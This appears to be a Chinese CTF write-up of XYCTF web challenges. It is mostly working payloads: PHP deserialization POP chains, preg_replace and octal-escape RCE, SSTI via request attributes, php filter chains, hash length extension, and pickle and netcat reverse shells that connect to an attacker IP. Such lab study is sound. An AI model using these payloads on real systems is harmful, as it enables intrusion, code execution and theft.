有些是比赛的时候写的,有些是赛后看wp复现的
warm up 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php include 'next.php' ;highlight_file (__FILE__ );$XYCTF = "Warm up" ;extract ($_GET );if (isset ($_GET ['val1' ]) && isset ($_GET ['val2' ]) && $_GET ['val1' ] != $_GET ['val2' ] && md5 ($_GET ['val1' ]) == md5 ($_GET ['val2' ])) { echo "ez" . "<br>" ; } else { die ("什么情况,这么基础的md5做不来" ); } if (isset ($md5 ) && $md5 == md5 ($md5 )) { echo "ezez" . "<br>" ; } else { die ("什么情况,这么基础的md5做不来" ); } if ($XY == $XYCTF ) { if ($XY != "XYCTF_550102591" && md5 ($XY ) == md5 ("XYCTF_550102591" )) { echo $level2 ; } else { die ("什么情况,这么基础的md5做不来" ); } } else { die ("学这么久,传参不会传?" ); }
md5($_GET['val1']) == md5($_GET['val2'])) : md5弱比较,数组绕过 $md5 == md5($md5) : 双md5 extract() : 可以变量覆盖 XYCTF_550102591 : md5值为 0e937920457786991080577371025051 s1502113478a:md5值为 0e861580163291561247404381396064
GET 传参: ?val1[]=1&val2[]=2&md5=0e00275209979&XY=s1502113478a&XYCTF=s1502113478a
到第二关 LLeeevvveeelll222.php
1 2 3 4 5 6 7 8 9 <?php highlight_file (__FILE__ );if (isset ($_POST ['a' ]) && !preg_match ('/[0-9]/' , $_POST ['a' ]) && intval ($_POST ['a' ])) { echo "操作你O.o" ; echo preg_replace ($_GET ['a' ],$_GET ['b' ],$_GET ['c' ]); } else { die ("有点汗流浃背" ); }
intval参数如果是有内容的数组返回1 post 传参: a[]=1
preg_replace的RCE:/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码
?a=/test/e&b=system(“cat /flag”)&c=just test 直接得到flag : XYCTF{0b8c5ae7-22e3-4ef2-9d4a-d48d5a461c7c}
ezMake 语法问题:echo $(shell cat f*) 或者$(shell cat f*) 直接访问 /flag 可以下载附件存在flag (目录扫描)
ezhttp 爆破: 用户名:XYCTF 密码:@JOILha!wuigqi123$
仿造http头 User-Agent: XYCTF Referer: yuanshen.com Client-IP:127.0.0.1 Connection: keep-alive Via: ymzx.qq.com Cookie: XYCTF
ezmd5 网上直接找两张MD5值相同的图片提交,就可以得到flag
牢牢记住,逝者为大
绕过前面的 # : 使用换行符的url编码 %0a ,使后面 cmd GET传参的命令可以正常执行 再使用 ; #闭合 注释掉后面 的 ,mamba out” 要不然总会报错
过滤了好多东西,又有长度限制, 尝试了蛮久的,都不行,不晓得中间要写什么命令了
?cmd=%0a ;%23
看完wp后,中间写上
这个长度为13是卡得正正好啊,写的时候用的 $_POST[1] ,长度超了,就放弃了,还真就没想到 $_GET[1]
1 2 3 4 5 6 7 8 9 10 ?cmd=%0a`$_GET[1]`;%23&1=cp /flag 1.txt (将flag文件里面的内容复制到 1.txt里面去,直接访问1.txt 得到flag) (不能 cat /flag 转八进制,试了好久,不晓得为啥) 转成八进制 ?cmd=%0a`$_GET[1]`;%23&1=$'\143\160'+$'\57\146\154\141\147'+$'\61\56\164\170\164' 然后直接访问1.txt ,拿到flag 这道题看其他人的wp, 是可以去反弹shell的 ?cmd=%0a`$_GET[1]`;%23&1=nc ip 端口 -e /bi''n/sh
ezPOP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php highlight_file (__FILE__ );class AAA { public $s ; public $a ; public function __toString ( ) { echo "you get 2 A <br>" ; $p = $this ->a; return $this ->s->$p ; } } class BBB { public $c ; public $d ; public function __get ($name ) { echo "you get 2 B <br>" ; $a =$_POST ['a' ]; $b =$_POST ; $c =$this ->c; $d =$this ->d; if (isset ($b ['a' ])) { unset ($b ['a' ]); } call_user_func ($a ,$b )($c )($d ); } } class CCC { public $c ; public function __destruct ( ) { echo "you get 2 C <br>" ; echo $this ->c; } } if (isset ($_GET ['xy' ])) { $a = unserialize ($_GET ['xy' ]); throw new Exception ("noooooob!!!" ); } $a =new CCC ();$a ->c=new AAA ();$a ->c->s=new BBB ();$a ->c->s->c='ls /' ;$a ->c->s->d='hello' ;$b =array ($a ,0 ); echo serialize ($b );
我是一个复读机 username : admin 密码:asdqwe
关键在于要有中文,还是一个中文一个{},两个中文就是{{}},三个中文又是{},做题的时候就是卡在这里了,题目说了只是一个会说英文的复读机,之前还真就没去试过中文,直接就放弃了
不然 {{}} 和 {%%}都被过滤了,无法ssti注入 直接使用 request
1 2 3 4 payload: 离谱(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag //XYCTF{3c468048-beb9-409f-8a0a-ffb8dfbdc940}
ezSerialize 第一关 第一步:&符号的运用,直接传参 ?pop=O:4:”Flag”:2:{s:5:”token”;i:1;s:8:”password”;R:2;}
结果: fpclosefpclosefpcloseffflllaaaggg.php
第二关 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php highlight_file (__FILE__ );class A { public $mack ; public function __invoke ( ) { $this ->mack->nonExistentMethod (); } } class B { public $luo ; public function __get ($key ) { echo "o.O<br>" ; $function = $this ->luo; return $function (); } } class C { public $wang1 ; public function __call ($wang1 ,$wang2 ) { include 'flag.php' ; echo $flag2 ; } } class D { public $lao ; public $chen ; public function __toString ( ) { echo "O.o<br>" ; return is_null ($this ->lao->chen) ? "" : $this ->lao->chen; } } class E { public $name = "xxxxx" ; public $num ; public function __unserialize ($data ) { echo "<br>学到就是赚到!<br>" ; echo $data ['num' ]; } public function __wakeup ( ) { if ($this ->name!='' || $this ->num!='' ){ echo "旅行者别忘记旅行的意义!<br>" ; } } } if (isset ($_POST ['pop' ])) { unserialize ($_POST ['pop' ]); } $a =new E ();$a ->num=new D ();$a ->name='' ;$a ->num->lao=new B ();$a ->num->lao->luo=new A ();$a ->num->lao->luo->mack=new C ();echo serialize ($a );
然后又进入到下一关:saber_master_saber_master.php
第三关 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php error_reporting (0 );highlight_file (__FILE__ );class XYCTFNO1 { public $Liu ; public $T1ng ; private $upsw1ng ; public function __construct ($Liu , $T1ng , $upsw1ng = Showmaker ) { $this ->Liu = $Liu ; $this ->T1ng = $T1ng ; $this ->upsw1ng = $upsw1ng ; } } class XYCTFNO2 { public $crypto0 ; public $adwa ; public function __construct ($crypto0 , $adwa ) { $this ->crypto0 = $crypto0 ; } public function XYCTF ( ) { if ($this ->adwa->crypto0 != 'dev1l' or $this ->adwa->T1ng != 'yuroandCMD258' ) { return False; } else { return True; } } } class XYCTFNO3 { public $KickyMu ; public $fpclose ; public $N1ght = "Crypto0" ; public function __construct ($KickyMu , $fpclose ) { $this ->KickyMu = $KickyMu ; $this ->fpclose = $fpclose ; } public function XY ( ) { if ($this ->N1ght == 'oSthing' ) { echo "WOW, You web is really good!!!\n" ; echo new $_POST ['X' ]($_POST ['Y' ]); } } public function __wakeup ( ) { if ($this ->KickyMu->XYCTF ()) { $this ->XY (); } } } if (isset ($_GET ['CTF' ])) { unserialize ($_GET ['CTF' ]); }
第一种方法: 在类里面做一些相应的更改 关键点绕过 if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') 直接在 XYCTFNO1 类里面添加属性$crypto0, 再更改相应的__construct 赋值 在 XYCTFNO3 类里面直接给 $N1ght = “oSthing” 赋值 最后利用到 new $_POST['X']($_POST['Y']); ,使用 SplFileObject 读取文件flag.php post传参 :X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php (直接读flag.php 没有回显,所以使用伪协议)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php class XYCTFNO1 { public $Liu ; public $T1ng ; private $upsw1ng ; public $crypto0 ; public function __construct ($T1ng , $crypto0 ) { $this ->T1ng = $T1ng ; $this ->crypto0=$crypto0 ; } } class XYCTFNO2 { public $crypto0 ; public $adwa ; public function __construct ($crypto0 , $adwa ) { $this ->crypto0 = $crypto0 ; $this ->adwa=$adwa ; } } class XYCTFNO3 { public $KickyMu ; public $fpclose ; public $N1ght = "oSthing" ; public function __construct ($KickyMu , $fpclose ) { $this ->KickyMu = $KickyMu ; $this ->fpclose = $fpclose ; } } $a = new XYCTFNO3 (new XYCTFNO2 ('dev1l' ,new XYCTFNO1 ('yuroandCMD258' ,'dev1l' )),1 );echo serialize ($a );
第二种方法: 利用 stdClass() 类,实例化直接赋值 $crypto0 = ‘dev1l’ , $T1ng = ‘yuroandCMD258’ post传参依旧是 X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php 读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php class XYCTFNO1 { public $Liu ; public $T1ng ; private $upsw1ng ; } class XYCTFNO2 { public $crypto0 ; public $adwa ; } class XYCTFNO3 { public $KickyMu ; public $fpclose ; public $N1ght = "Crypto0" ; } if (isset ($_GET ['CTF' ])) { unserialize ($_GET ['CTF' ]); } $a =new XYCTFNO3 ();$a ->N1ght='oSthing' ;$a ->KickyMu=new XYCTFNO2 ();$a ->KickyMu->adwa=new stdClass ();$a ->KickyMu->adwa->crypto0='dev1l' ;$a ->KickyMu->adwa->T1ng='yuroandCMD258' ;echo serialize ($a );
ez?Make 方法一:利用反弹shell 1 2 3 `nc ip 端口 -e sh` 之前一直没能够复现成功,结果竟然是端口的问题,用80端口就可以连接,用其他的端口就连接不了,有点奇怪,我明明把所有的端口都打开了啊,有点不能理解,浪费几个小时
方法二:通过进制编码绕过 1 2 3 4 5 6 7 8 9 10 11 12 `echo 636174202F666c6167 | xxd -r -p` 前面的十六进制表示 cat /flag , 通过 反引号执行 ` ` (因为f被过滤了,将f大写绕过,不影响命令执行) xxd 是一个用于在十六进制和二进制之间进行转换的工具。-r 选项告诉 xxd 将十六进制输入转换为二进制输出(即“reverse”或“reconstruct”)。-p 选项表示输入是纯十六进制(没有地址、偏移或其他信息) echo 输出十六进制字符串 636174202F666c6167。 通过管道 |,这个输出被传递给 xxd 命令。 xxd -r -p 将这个十六进制字符串转换为它的二进制表示,并输出相应的ASCII字符。 //XYCTF{1d61fce7-42f1-4f55-85a8-fdf1fea48cc5}
εZ?¿м@Kε¿? (看着wp写,也是有点没看懂,简单记录一下) 主要也是学到了 , $() 能够执行命令, < 能够将东西输入到命令中 makefile的特定语法需要 $$
ezRCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file (__FILE__ );function waf ($cmd ) { $white_list = ['0' ,'1' ,'2' ,'3' ,'4' ,'5' ,'6' ,'7' ,'8' ,'9' ,'\\' ,'\'' ,'$' ,'<' ]; $cmd_char = str_split ($cmd ); foreach ($cmd_char as $char ){ if (!in_array ($char , $white_list )){ die ("really ez?" ); } } return $cmd ; } $cmd =waf ($_GET ["cmd" ]);system ($cmd );
无字母RCE Linux终端可以通过 $'\xxx' 的方式执行命令,xxx是字符ascii码的八进制形式 $’\154\163’ ==> ls 可以执行 但是 $’\154\163\40\57’ ==> ls / 无法执行,会被解析成字符串,无法执行命令 所以就需要用到 <<< 在Linux中,“<<<”是一个称为”Here String”的特殊操作符。它的作用是将字符串的内容作为输入传递给命令 以及 $0 相当与bash
所以 $0<<<$’\154\163\40\57’ 就可以执行命令了
?cmd=$0<<<$’\143\141\164\40\57\146\154\141\147’ ==> cat /flag 拿到flag
XYCTF{29b04a5d-c92f-436f-8ea4-6bf693f317de}
ezClass 1 2 3 4 5 6 7 8 <?php highlight_file (__FILE__ );$a =$_GET ['a' ];$aa =$_GET ['aa' ];$b =$_GET ['b' ];$bb =$_GET ['bb' ];$c =$_GET ['c' ];((new $a ($aa ))->$c ())((new $b ($bb ))->$c ());
方法一:SplFileObject读取文件 SplFileObject 加上 php伪协议 读取文件 , 调用__toString() 方法得到字符串
1 2 3 4 get传参: a=new SplFileObject aa=php://filter/read=convert.base64-encode/resource=/flag c=__toString
解密:XYCTF{9801dabe-6702-4f4e-91d5-1d1f4ce2c684}
这是直接猜在根目录下有一个flag文件,要是把flag文件换个名,就需要读取目录了,但网上搜了一下读目录的 DirectoryIterator类 + glob://协议 遍历目录,但没能成功,读不到目录,可能不适合这道题或者我哪里搞错了,有点懵
方法二 : Error的getMessage 1 2 3 4 5 <?php $a =new Error ("system" );echo $a ->getMessage ();
所以get传参
1 ?a=Error&aa=system&b=Error&bb=cat /flag&c=getMessage
ezLFI 1 2 在index.php中可以看到代码 <?php include_once($_REQUEST['file']);
直接现成的脚本,把地址写上去,直接输出了flag (这道题之前倒是做过类似的,绕过 include_once(); ,但是原理方面不太理解)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requestsurl = "http://gz.imxbt.cn:20208/" file_to_use = "/etc/passwd" command = "/readflag" base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2' , 'B' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2' , 'C' : 'convert.iconv.UTF8.CSISO2022KR' , '8' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' , '9' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB' , 'f' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213' , 's' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61' , 'z' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS' , 'U' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932' , 'P' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213' , 'V' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5' , '0' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2' , 'Y' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2' , 'W' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2' , 'd' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2' , 'D' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2' , '7' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2' , '4' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' } filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1 ]: filters += conversions[c] + "|" filters += "convert.base64-decode|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters} /resource={file_to_use} " r = requests.get(url, params={ "0" : command, "action" : "include" , "file" : final_payload }) print (r.text)
连连看到底是连连什么看 打开index.php文件
进入到what’s_this.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );error_reporting (0 );$p =$_GET ['p' ];if (preg_match ("/http|=|php|file|:|\/|\?/i" , $p )){ die ("waf!" ); } $payload ="php://filter/$p /resource=/etc/passwd" ;if (file_get_contents ($payload )==="XYCTF" ){ echo file_get_contents ('/flag' ); }
https://github.com/synacktiv/php_filter_chain_generator
需要用伪协议构造一个 XYCTF 用这个项目,运行生成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 第一种方法: 需要将XYCTF进行几次 base64编码 命令: python php_filter_chain_generator.py --chain 'Vm1wQ1lXTXhTa2RYYTFwWVZWRQ' Vm1wQ1lXTXhTa2RYYTFwWVZWRQ ---> XYCTF (5次base64解码) 但是 XYCTF 五次 base64编码只能得到 --> Vm1wQ1lXTXhTa2RYYTFwWVZrUkJPUT09 用这个去运行的话却不能得到flag(感觉不应该啊),刚开始没注意一直弄不出来,也不知道 Vm1wQ1lXTXhTa2RYYTFwWVZWRQ 是怎么来的 不过 Vm1wQ1lXTXhTa2RYYTFwWVZr 就可以base64解码成 XYCTF (先暂时放着) 第二种方法: python3 php_filter_chain_generator.py --chain 'XYCTF<' 然后复制下payload之后,使用string.strip_tags过滤器绕过 strip_tags :从字符串中去除 HTML 和 PHP 标签
得到的结果还需要进行解码,编码了几次就需要解码几次
1 2 3 payload: ?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode
XYCTF{5f9e48b3-7851-41c0-aa56-c0a746784199}
give me flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include ('flag.php' );$FLAG_md5 = md5 ($FLAG );if (!isset ($_GET ['md5' ]) || !isset ($_GET ['value' ])){ highlight_file (__FILE__ ); die ($FLAG_md5 ); } $value = $_GET ['value' ];$md5 = $_GET ['md5' ];$time = time ();if (md5 ($FLAG .$value .$time )===$md5 ){ echo "yes, give you flag: " ; echo $FLAG ; } a3a9ab37346c02e4a88deae16415f4c3
考察hash长度扩展攻击 文章:https://err0rzz.github.io/2017/09/18/hash%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/ https://www.cnblogs.com/yunen/p/13624595.html
利用工具:https://github.com/shellfeel/hash-ext-attack?tab=readme-ov-file
扩展字符输入的是一个未来的时间戳,就是未来几分钟的 密钥长度就是 flag 的长度,flag长度是固定的
1 2 3 4 5 payload: ?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=979a816bd7b50f44ba4113655f68e2c4 value 的值是新明文去掉后面的时间戳,因为题目 $FLAG.$value.$time 已经是把时间戳加上去的 md5 的值就是新生成的hash,
再写一个简单的脚本不断的请求,当时间接近我们输入的时间戳,就可以得到flag
1 2 3 4 5 6 7 8 9 10 import requestsurl='http://gz.imxbt.cn:20249/?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=979a816bd7b50f44ba4113655f68e2c4' while True : res=requests.get(url=url) if "{" in res.text: print (res.text) break
XYCTF{c22d49e0-728d-4b84-a43c-33b6a4dd3b1d}
login 打开网站是一个登录的界面,目录扫描可以扫描出 /register.php
注册一个账号再登录,可以在cookie里面找到一个 RememberMe
base64解码一下 ,有登录的 用户名和密码 的信息
python的pickle反序列化 ,反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 import base64a = b'''(cos system S'bash -c "bash -i >& /dev/tcp/[ip]/80 0>&1"' o. ''' print (base64.b64encode(a))
pharme 查看源码,class.php, 访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );highlight_file (__FILE__ );class evil { public $cmd ; public $a ; public function __destruct ( ) { if ('ch3nx1' === preg_replace ('/;+/' ,'ch3nx1' ,preg_replace ('/[A-Za-z_\(\)]+/' ,'' ,$this ->cmd))){ eval ($this ->cmd.'isbigvegetablechicken!' ); } else { echo 'nonono' ; } } } if (isset ($_POST ['file' ])){ if (preg_match ('/^phar:\/\//i' ,$_POST ['file' ])) { die ("nonono" ); } file_get_contents ($_POST ['file' ]); }
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))) 表明无参数rce
eval($this->cmd.'isbigvegetablechicken!') 使用halt_compiler()绕过 ,去中断编译执行使其后面的字符不被解析
if(preg_match('/^phar:\/\//i',$_POST['file'])) 使用php伪协议绕过
构造phar包,使用gzip命令压缩上传,再改后缀为 png , 上传 http请求 在最后一个请求加上 SS:system(cat /flag); 执行命令 post传参:file=php://filter/convert.base64-encode/resource=phar:///tmp/fb5c81ed3a220004b71069645f112867.png
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );highlight_file (__FILE__ );class evil { public $cmd ; } $a =new evil ();$a ->cmd='eval(end(getallheaders()));__helt_compiler();' ;$phar =new Phar ('1.phar' );$phar ->startBuffering (); $phar ->setStub ('GIF89a' .'<?php __HALT_COMPILER;?>' );$phar ->setMetadata ($a );$phar ->addFromString ('1.txt' ,'111' );$phar ->stopBuffering ();